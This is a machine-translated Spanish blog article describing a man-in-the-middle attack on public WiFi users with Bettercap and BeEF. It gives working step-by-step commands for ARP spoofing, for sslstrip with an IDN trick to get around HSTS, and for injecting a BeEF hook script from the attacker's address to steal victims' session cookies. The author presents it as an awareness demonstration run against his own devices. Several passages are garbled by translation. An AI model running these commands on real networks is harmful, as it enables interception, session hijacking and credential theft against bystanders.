Apertura de tráfico en redes públicas





Este artículo trata sobre cómo convertirse en un cool (o Script Kiddie en inglés), un atacante condicional que carece de conocimientos de programación y utiliza el software existente para lanzar un ataque a los teléfonos inteligentes y tabletas de sus compañeros de clase.



Es una broma. De hecho, me enfrenté a la tarea de comprender dos cosas:



  1. WiFi 2020 , HTTPS ( TLS 1.1+) HSTS
  2. ( ) “” .


Y en el spoiler hay un spoiler:

  1. ¡Sí, peligroso!
  2. Bien puede




Debo decir de inmediato que, aunque algunos de mis experimentos se llevaron a cabo en redes públicas reales, solo obtuve "acceso ilegal" a los navegadores de mis propios dispositivos. Por lo tanto, de hecho, no violé el Capítulo 28 del Código Penal de la Federación de Rusia y le recomiendo encarecidamente que no lo viole. Este experimento y artículo se ofrecen para su revisión únicamente con el propósito de demostrar la inseguridad del uso de redes inalámbricas públicas.



Entonces, ¿cuál es el problema real para un hacker si es fácil interceptar el tráfico en redes inalámbricas abiertas por cualquier rastreador? El problema es que en 2020, casi todos (99%) sitios usan HTTPS y cifran todo el intercambio de datos entre el servidor y el navegador de una posible "víctima" con una clave individual usando un protocolo TLS bastante reciente.... TLS hace posible que las aplicaciones cliente-servidor se comuniquen en la red de tal manera que no puedan escuchar los paquetes y realizar un acceso no autorizado. Más precisamente, puedes escuchar, pero esto no tiene sentido, ya que el tráfico cifrado sin clave es inútil para descifrarlo.



Además, en todos los navegadores modernos se implementa el mecanismo HSTS (HTTP Strict Transport Security), que activa a la fuerza una conexión segura a través del protocolo HTTPS y finaliza una conexión HTTP simple. Esta política de seguridad le permite establecer inmediatamente una conexión segura en lugar de utilizar el protocolo HTTP. El motor usa un encabezado especialStrict-Transport-Security para obligar al navegador a utilizar HTTPS incluso cuando sigue enlaces que especifican explícitamente HTTP (http: //). El HSTS original no protege la primera conexión del usuario al sitio, lo que deja un vacío legal para los piratas informáticos, y un atacante puede interceptar fácilmente la primera conexión si es a través de http. Por lo tanto, para combatir este problema, la mayoría de los navegadores modernos utilizan una lista estática adicional de sitios (lista de precarga HSTS) que requieren el uso del protocolo https.



Para interceptar de alguna manera las contraseñas ingresadas o robar las cookies de la víctima, de alguna manera debe ingresar al navegador de la víctima o asegurarse de que no se utilice el protocolo de cifrado TLS. Haremos las dos cosas a la vez. Para hacer esto, usaremos el método de ataque man-in-the-middle .”(MitM). Haré una reserva de que nuestro ataque será bastante bajo, porque utilizaremos "constructores semiacabados" ya hechos de la revista Hackney Sam prácticamente sin ninguna modificación. Los piratas informáticos reales están mejor armados y solo estamos desempeñando el papel de kulkhatskers poco calificados para ilustrar el grado de inseguridad de las redes inalámbricas públicas modernas.



Planchar



Como kit de herramientas para el experimento, utilicé el siguiente kit de herramientas:



  • Cualquier red WiFi pública en el patio de comidas
  • Netbook Acer Aspire one D270
  • Tarjeta wifi incorporada Atheros AR5B125
  • Adaptador WiFi USB WiFi externo TP-LINK Archer T4U v3
  • Adaptador usb wifi externo TP-LINK Archer T9UH v2
  • Kali Linux con la versión de kernel 5.8.0-kali2-amd64
  • Bettercap v2.28 marco
  • Marco BeEF 0.5
  • Varios teléfonos inteligentes y tabletas con Android 9 y una computadora portátil con Windows 7 como dispositivos víctimas.


¿Por qué hay tantas tarjetas wifi? Sí, porque en el proceso de experimentos pisé un montón de rastrillos y traté de ahorrar dinero. Resultó que una buena tarjeta WiFi es la principal herramienta de un atacante exitoso. Hay una serie de problemas: la tarjeta debe admitir puntos de acceso y monitoreo (AP), debe tener controladores para su versión del kernel de Linux, la tarjeta debe tener una buena antena y la capacidad de controlar la intensidad de la señal. Si no desea un rastrillo adicional, tome un adaptador costoso de la parte superior de esta lista y no olvide verificar la disponibilidad de un controlador específicamente para su revisión de hardware de la tarjeta.



La tarjeta Atheros AR9485 incorporada tenía un excelente soporte para todos los modos y un controlador listo para usar en Kali, pero la incapacidad para controlar la intensidad de la señal y una antena débil negaban la efectividad de esta tarjeta durante la fase de interferencia activa.



WiFi TP-LINK Archer T4U v3 no tenía un controlador listo para usar, y el que encontré en Github no tenía soporte para el modo de punto de acceso (AP) y tuvo que compilarse por sí solo.



La tarjeta TP-LINK Archer T9UH v2 funcionó perfectamente con el controlador listo para usar, en él lo hice.



Software





Lo primero que hice fue instalar Kali Linux 5.8.0 en mi computadora portátil. El único SSD en la computadora portátil estaba vacío y destinado en su totalidad para experimentar, lo que me ahorró algo de la molestia de particionar y hacer copias de seguridad de datos antiguos, así que usé todas las opciones predeterminadas durante la instalación. Todavía enfrenté algunos problemas triviales como perder el soporte de la unidad flash USB con el kit de distribución durante la instalación y actualizar el sistema a la última versión actual del repositorio.





Luego fue necesario lanzar herramientas de penetración, serán Bettercap y BeEF. Con su ayuda, obligaremos a los navegadores de las "víctimas" a negarse a cifrar el tráfico e inyectar JavaScript troyano en los sitios que visitan.



BettercapEs una herramienta y un marco completo, modular, portátil y fácilmente extensible con todo tipo de funciones de diagnóstico y ofensivas que podría necesitar para realizar un ataque de intermediario. Bettercap está escrito en Go, el desarrollo principal del proyecto tuvo lugar hasta 2019, ahora solo hay correcciones menores. Sin embargo, como veremos más adelante, esta herramienta en el cambiante mundo de la seguridad de la información sigue siendo relevante a finales de 2020. Bettercap viene con módulos de spoof y sslstrip de arp incorporados. Es Bettercap el que intercepta el tráfico e inyecta una carga maliciosa en él.



SSlstrip es un servidor proxy especializado que le permite organizar una de las formas de omitir HTTPSpara interceptar el tráfico es dividir la sesión del usuario en dos secciones. La primera sección del cliente al servidor proxy pasará por el protocolo HTTP , y la segunda sección, del proxy al servidor, pasará, como debería, por una conexión encriptada. SSLstrip le permite dividir la sesión de la víctima en dos partes e interceptar el tráfico para un análisis más detallado, así como también proporcionar redireccionamientos automáticos a páginas gemelas HTTP creadas dinámicamente .



parodia de arpintercepta paquetes en una red local conmutada por cable o inalámbrica. arpspoof redirige los paquetes de un host de destino (o todos los hosts) en una red destinada a otro host en esa red falsificando respuestas ARP. Esta es una forma muy eficaz de rastrear el tráfico en un conmutador o enrutador wifi.



BeEF es un marco que le permite administrar centralmente un grupo de clientes infectados a través de un ataque XSS (cross-site scripting), enviarles comandos y obtener un resultado. El "atacante" inyecta el script hook.js en el sitio vulnerable. El script hook.js del navegador de la víctima indica al centro de control de la computadora del atacante (BeEF) que el nuevo cliente está en línea. El "atacante" ingresa al panel de control de BeEF y controla de forma remota los navegadores infectados.



Usé las versiones Bettercap v2.28 y BeEF 0.5 Ambas ya están incluidas en Kali Linux 5.8.0

Abra una ventana de símbolo del sistema e ingrese el comando



sudo beef-xss




Comienza la primera parte de nuestro sándwich malicioso, el marco BeEF.



Ahora iniciemos el navegador (generalmente Firefox en Kali Linux), vayamos a la dirección http://127.0.0.1:3000/ui/pannel , el nombre de usuario y contraseña predeterminados beef: beef, luego de lo cual llegamos al centro de control de nuestro ataque.





Deje abierta la pestaña BeEF, volveremos a ella más tarde.



Pasemos a la segunda parte del sándwich: Bettercap. Hubo una trampa aquí: Bettercap, que ya estaba en el sistema, se negó a comenzar como servicio y dio otros errores que no entendí. Por lo tanto, decidí eliminarlo y reinstalarlo manualmente. Abra una ventana de símbolo del sistema y ejecute los comandos:



sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap


Luego, descargamos la versión binaria de Bettercap v2.28 en el archivo en la carpeta de descarga con el navegador . Tenga en cuenta que elegí la versión para la arquitectura de mi kernel.



Ahora desempaquetamos y colocamos el archivo ejecutable en el sistema Bettercap en una carpeta destinada a la instalación manual.



d  
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/


La forma más sencilla de comenzar con Bettercap es utilizar su interfaz de usuario web oficial . La interfaz web funciona simultáneamente con el resto del servicio API y una sesión de línea de comandos interactiva. Para instalar la interfaz web, debe ejecutar el comando:



sudo bettercap -eval "caplets.update; ui.update; q"


¡Atención! Ya en esta etapa, es necesario conectarse a la red inalámbrica atacada, obtener una dirección IP para la interfaz inalámbrica de la máquina atacante y recordarla (el comando ifconfigayudará a averiguarlo).



Bettercap comprende tanto los comandos individuales de la línea de comandos como los comprimidos. Un caplet es simplemente un archivo de texto con una lista de comandos que se ejecutarán secuencialmente. El caplet http-ui se utiliza para iniciar la interfaz web. Puede ver y cambiar las credenciales predeterminadas a lo largo de la ruta /usr/local/share/bettercap/caplets/http-ui.cap. El comando ejecuta Bettercap con los módulos de interfaz web api.rest y http.server 127.0.0.1.



sudo bettercap -caplet http-ui




Ahora puede abrir otra pestaña en el navegador con la dirección 127.0.0.1 (¡sin el número de puerto!) E iniciar sesión con las credenciales que se espiaron o configuraron en el paso anterior (generalmente usuario / contraseña ).





La interfaz web de Bettercap duplica por completo la línea de comandos, por lo que todas las acciones que haremos desde la línea de comandos también se pueden realizar desde la interfaz web (iniciar módulos, cambiar de modo, visualizar cambiando el valor de las variables, mostrar información de diagnóstico)



Continuar en la línea de comandos y realizar la inicial reconocimiento de la red inalámbrica a la que ya estamos conectados como cliente habitual.



net.recon on
net.probe on
Net.show
net.recon off


net.recon on : comienza a descubrir hosts de red.

net.probe on : inicia un sondeo activo para nuevos hosts en la red mediante el envío de paquetes falsos a todas las direcciones IP posibles en la subred.

net.show : da el comando para mostrar una lista de la caché de hosts detectados.

net.probe off : apaga el módulo de sondeo activo.

Configuramos las variables de Bettercap para que:



  • funcionó como un proxy transparente y "deshabilitó" el cifrado del intercambio de "víctimas" del navegador mediante el módulo sslstrip,
  • los inyectó con una carga maliciosa (http://192.168.0.103/hook.js - script BeEF, use la IP emitida por el enrutador a su adaptador en la red atacada),
  • omitió el mecanismo HTST al reemplazar la dirección en la barra de direcciones del navegador de la víctima con caracteres internacionalizados similares.


Comandos:



set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true


Luego lanzamos un ataque contra los usuarios inalámbricos:

Comandos



arp.spoof on
http.proxy on




arp.spoof en - Inicia envenenamiento de la caché ARP de “víctimas” dispositivos, este tráfico redirecciones del módulo de la interfaz inalámbrica del “atacante”

http.proxy en - Inicia un proxy transparente, este módulo crea un servidor proxy que se captura todo el tráfico transmitido y modificarlo para adaptarlo "Intruso".

Las “víctimas” comienzan a usar Internet, van a sitios web y, si tienen éxito, los ataques se verán privados del cifrado de transporte (lo que significa que estarán disponibles para ser escuchados directamente por cualquier rastreador) y recibirán un script BeEF malicioso. El script BeEF, ejecutado en el contexto del dominio en cuya página fue incrustado, puede realizar muchas acciones diferentes, por ejemplo, robar cookies o robar contraseñas ingresadas.





Como corresponde a un sándwich hecho a toda prisa, el ataque no funcionará en todos los sitios. Por ejemplo, es muy poco probable lanzar un ataque con uno de los sitios de Google, ya que el navegador ya tiene una lista de precarga HSTS para algunos sitios. ¡Pero resultó ser muy posible “secuestrar” Rambler o Coub.com! Si le pedimos a la "víctima" (ingeniería social, dónde podemos ir sin ella) que abra la dirección de Ro.ru , o de repente lo hace ella misma, entonces esto es lo que sucede:







Todo el tráfico de la víctima al sitio web rambler.ru vuela por el aire en texto claro y puede ser escuchado por cualquier rastreador. Mientras esté en el navegador "víctima", casi no habrá signos de problemas, a excepción de un triángulo discreto y otro carácter extraño al final de la barra de direcciones.





Y en la máquina del “atacante” en el panel de control del framework BeEF, en la sección Navegadores en línea, mientras tanto, aparecerá una entrada sobre el nuevo navegador atrapado en el gancho. Seleccione este navegador con el mouse, vaya a la subpestaña Comandos, al directorio de Navegadores, luego sucesivamente Dominio enlazado → Obtener cookie → Ejecutar





Una vez, y con un par de clics del mouse, robamos las cookies de sesión de Rambler.ru a la víctima. Ahora podemos intentar insertarlos en nuestro navegador y entrar en la sesión de la víctima. ¡Y eso es lo mejor! Pero en el arsenal de BeEF todavía hay varios cientos de "comandos" diferentes que podemos enviar al navegador "capturado": varias opciones de phishing, robo de contraseñas, ricrolls, redirecciones, exploits ...



conclusiones



Las conclusiones del experimento son decepcionantes. Los navegadores aún no pueden proteger al 100% a los usuarios contra la manipulación del tráfico o la sustitución de este sitio por phishing. El mecanismo HSTS funciona solo para un par de miles de los sitios más populares y deja a millones de otros sin protección confiable. Los navegadores no son lo suficientemente explícitos como para advertir que la conexión al servidor no está cifrada. La situación es aún peor en las redes inalámbricas, donde cualquiera que quiera tener acceso al medio de transmisión de datos, mientras que casi ninguno de los usuarios verifica la autenticidad del propio punto de acceso, y los métodos confiables de autenticación de los puntos de acceso simplemente no existen.










All Articles